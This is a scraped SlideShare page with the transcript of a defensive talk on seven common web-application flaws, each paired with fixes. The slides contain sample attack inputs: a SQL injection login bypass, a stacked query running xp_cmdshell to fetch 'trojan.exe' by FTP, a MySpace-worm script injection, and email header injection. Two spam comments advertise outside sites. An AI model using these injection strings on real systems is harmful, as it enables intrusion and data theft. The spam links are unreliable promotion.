How To Hack

Loading...

Flash Player 9 (or above) is needed to view presentations.
We have detected that you do not have it on your computer. To install it, go here.

2 comments

Comments 1 - 2 of 2 previous next Post a comment

  • + guest52ce40 guest52ce40 2 years ago
    'As featured in the New York Times, our secret techniques are

    revealed on the internet for the first time.'



    Read on to find out how we can make mind blowing, multi-orgasmic

    sex a reality for you and your partners...??



    Women will be begging you for sex...!!

    What women really want in the bedroom, DIRECTLY from A Women..!!

    Hard to find foreplay techniques which make her hornier than ever..!!



    http://www.great-sex-guide.info
  • + guesta8f1cc guesta8f1cc 2 years ago
    Hay Friends !!



    Are you looking for beautiful, sweet, innocent cat pictures ??

    I have found a very good site for cat pictures..!!

    here it is...



    http://sweetcatpictures.blogspot.com

Post a comment
Embed Video
Edit your comment Cancel

7 Favorites

How To Hack - Presentation Transcript

  1. Thom Shannon – Glow New Media
  2. 7 SINS OF A COMPLACENT WEB DEVELOPER
    • SQL Injection
    • JavaScript Injection
    • Cookie Injection
    • Email Injection
    • File Uploads
    • Cross domain form submission
    • Cross domain JSON APIs
  3.  
    • SELECT * FROM [User] WHERE
    • [Name] = ‘ admin ’
    • AND
    • [Password] = ‘ secret ’
    • SELECT * FROM [User] WHERE
    • [Name] = ‘ admin ’
    • AND
    • [Password] = ‘ ’ or true; -- ’
  4.  
    • SELECT * FROM [Page] WHERE
    • [Title] = ‘ Home’; exec xp_cmdshell(‘ftp host trojan.exe’)’ -- ’
    • Validate ALL possible inputs
    • Escape Quotes!
    • Use strongly typed/parameter queries
    • Can affect many platforms
      • ASP
      • .Net
      • PHP
      • ...
  5.  
  6. MYSPACE WORM
    • <div id=&quot;mycode&quot; expr=&quot;alert(‘pwnd!’)&quot; style=&quot;background:url('java script:eval(document.all.mycode.expr)')&quot;>
  7.  
  8.  
  9. DEFAULT DENY
    • Strip all HTML
    • Use a simple markup like Textile
    • Validate ALL inputs
  10.  
  11. BAD COOKIES
    • loggedon=false
    • Userid=78
    • permissionlevel=1
    • Store important data on server
    • Use a token
    • Do not trust anything sent from the client
  12.  
    • Used by Spammers
    • From: [email_address]
    • Cc:spamee@gmail.com, poorsap@hotmail.com
    • Subject: Buy [Drugs|Viagra|Stocks]
    • Validate email addresses and other content
    • Don’t put user input in mail headers
  13.  
    • /uploads/runSpamEngine.php
    • /uploads/downloadDb.aspx
    • /uploads/crashBox.exe
    • SysAdmin can remove execution permissions
    • Web Developer can validate too
    • Always use DEFAULT DENY (whitelist)
  14.  
    • Post from attackers site to logged in site
    • Action purchases
    • Change profile page
    • Use hidden frame to keep posting
  15.  
    • Pass a token with the form
    • Confirm destructive actions
    • 307 redirect in Internet Explorer
  16.  
    • AJAX friendly APIs
    • JavaScript blog widgets
    • Called using SCRIPT elements
    • Can cause actions or reveal private data
    • Client side code is always insecure
    • Authenticate with query string
    • Track using API application key
  17. In Summary
    • Don’t pass the buck, take responsibility
    • Web app exploits are the most common
    • Everyone is a target
    • Thom Shannon
    • www.ts 0 .com

+ ts0ts0, 3 years ago

custom

3151 views, 7 favs, 4 embeds more stats

Or how not to get hacked! The common ways that web more

More info about this document

© All Rights Reserved

Go to text version

  • Total Views 3151
    • 2991 on SlideShare
    • 160 from embeds
  • Comments 2
  • Favorites 7
  • Downloads 0
Most viewed embeds
  • 116 views on http://www.ts0.com
  • 20 views on http://infoseclab.blogspot.com
  • 12 views on http://ts0.com
  • 12 views on http://barcampbrighton.backnetwork.com

more

All embeds
  • 116 views on http://www.ts0.com
  • 20 views on http://infoseclab.blogspot.com
  • 12 views on http://ts0.com
  • 12 views on http://barcampbrighton.backnetwork.com

less

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate. If needed, use the feedback form to let us know more details.

Cancel
File a copyright complaint
Having problems? Go to our helpdesk?

Categories